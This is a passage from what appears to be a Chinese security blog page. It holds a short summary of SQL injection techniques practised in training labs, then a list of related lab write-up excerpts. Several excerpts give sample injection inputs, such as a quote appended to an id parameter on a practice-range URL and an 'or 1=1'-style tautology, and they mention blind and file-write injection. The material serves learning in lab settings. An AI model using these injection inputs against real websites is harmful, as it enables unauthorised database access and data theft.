接下来不多搞了，总结一下，get和post区别不大，都是看反馈选择对应的注入方式，不过一个主要靠地址栏，一个看from菜单输入，根据不同需求选择注入方式，联合查询就是一起查，全部一起显示，不过要注意长度限制，和表名列名获取等等。利用文件导入的方式进行注入，不过条件苛刻，首先要有root权限，接着需要知道网站路径，最后还需要一个为空，就真的是空的，不是null，由于条件过于苛刻，因此很少见(其原理就是利用其先上传再删除的机制，可以与程序抢进程，使其上传到上级目录，这样即使原目录的文件删除也没用)
SQL注入--靶场练习
wmr123456001的博客
02-11 2108
SQL注入靶场练习
iwebsec靶场（sql注入）
果粒程
02-24 1135
iwebsec靶场（sql注入）
sql注入靶场实操
m0_46104808的博客
10-27 1620
sql注入漏洞利用
sql注入靶场.zip
06-24
这个"sql注入靶场.zip"文件包含了一个名为"sqli-labs-master"的靶场，旨在帮助学习者了解、实践和防御SQL注入攻击。靶场通常由一系列逐步增加难度的挑战组成，让学习者通过实际操作来提升自己的安全技能。 靶场的...
PHP、Apache环境中部署sqli-labs（SQL注入靶场）
01-08
PHP、Apache 环境中部署 sqli-labs（SQL 注入靶场） 知识点 1: sqli-labs 介绍 sqli-labs 是一款开源的练习 SQL 注入的靶场工具，用 PHP 代码编写而成。它需要 PHP 和 Apache 环境运行。sqli-labs 提供了一个实践 ...
掌控安全学院SQL注入靶场
qaq517384的博客
11-18 3773
总体没啥难度，也没有啥过滤，拿来复健感觉还不错，最后一个宽字节注入又花了点时间研究了一下
JAVA代码审计——SQL注入靶场审计01
m0_61506558的博客
11-09 707
Statementlike '%${in (${selectupdateinsert（二）SQL Lesson 9前面都是sql注入的介绍，我们直接来看到lesson9，首先请求一下看一下前端请求后端的接口地址.全局进行一个搜索，我们首先来看PostMapping那一个代码可以看到直接进行了SQL语句的拼接我们来打个断点分析一下，可以看到我们输入的内容没有经过任何过滤就直接拼接来进去。
SQL注入靶场攻击——sqli-labs
最新发布
qq_67812668的博客
08-14 1001
概述SQL注入（SQL Injection）是发生在web程序中数据库层的安全漏洞，是比较常用的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现无账号登录，甚至修改数据库，也就是说，SQL注入就是在爱用户输入的字符串中添加SQL语句，如果在设计不良的程序中忽略了检查，那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行，攻击者就可以执行计划外的命令或者访问未授权的数据。
搭建sql注入靶场
学无止境
05-07 4666
搭建sqli-labs SQL-LABs定义：是一个专业的sql注入练习平台， 适用于GET和POST场景， 第一步：准备工作： 1)安装php版本php5.4 选择指定版本 然后点击“安装” 第二步：下载sqli-labs 并解压 <<sqli-labs-master.zip>> 第三步：将sqli-lab文件 放到www目录下...
靶场实践之SQL注入篇
Stephen8848的博客
08-14 441
渗透测试的时候使用工具是很简单的，但是要是对技术有追求，还是需要了解得更深入一些，多探索！安装系统自行百度，这里不做过多说明。版本5之后，数据库里有一个默认的库。它里面有三个关键的表，分别是。
墨者学院MySQL--sql注入靶场
weixin_43803070的博客
07-08 1642
这几天做题的时候发现了一个靶场，先做了一个SQL注入，怎么说呢，这个靶场环境还可以，但是个人感觉最后的 key获取，有点脑洞，没有太大的实际意义背离了实际的初衷，不说了直接上wp： 首先找注入点： http://219.153.49.228:40084/new_list.php?id=1‘// id=1的时候返回正常，id=1’的时候返回错误，说明存在sql注入。 http://219.153...
Burpsuite靶场——SQL注入
小林说安全的博客
05-13 4684
Burpsuite靶场——SQL注入漏洞详解，带你了解并从根源上解决SQL注入问题。
一次简单的SQL注入靶场练习
lza20001103的博客
07-24 4199
一次简单的SQL注入靶场练习
sql注入——pikachu靶场
cjh12340826的博客
07-20 687
（1）先用burpsuit抓包，或使用浏览器开发者工具找到请求data。10，时间盲注，原理：如果可以注入，就延时，如果不行就立刻显示。6,detele注入使用hackbar（报错显示数据库）12,------- 基于报错信息获取---------然后使用hackbar点击post data发送请求。注册用户时注入，使用重发器(基于报错信息获取)7，http header和cookie注入。工具：burpsuit,hackbar。5,insert,update注入。在修改信息页面：提交修改,
SQL注入-pikachu靶场
qq_43936524的博客
10-13 392
文章目录SQL注入概述SQL分类 SQL注入概述 SQL注入指的是通过将恶意SQL语句添加到应用的输入参数中，传递到后台被SQL服务器解析后执行的攻击。 SQL分类 数字型注入 输入查询id后抓包 改变参数1 = 1 or 1 字符型注入 ...
sql注入靶场源代码示例
07-27
下面是一个简单的PHP靶场源代码示例，这个例子展示了如何创建一个基本的登录表单，如果没有正确过滤用户输入就容易受到SQL注入攻击： ```php // 错误开启以便于查看 error_reporting(E_ALL); // 假设这是你的...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值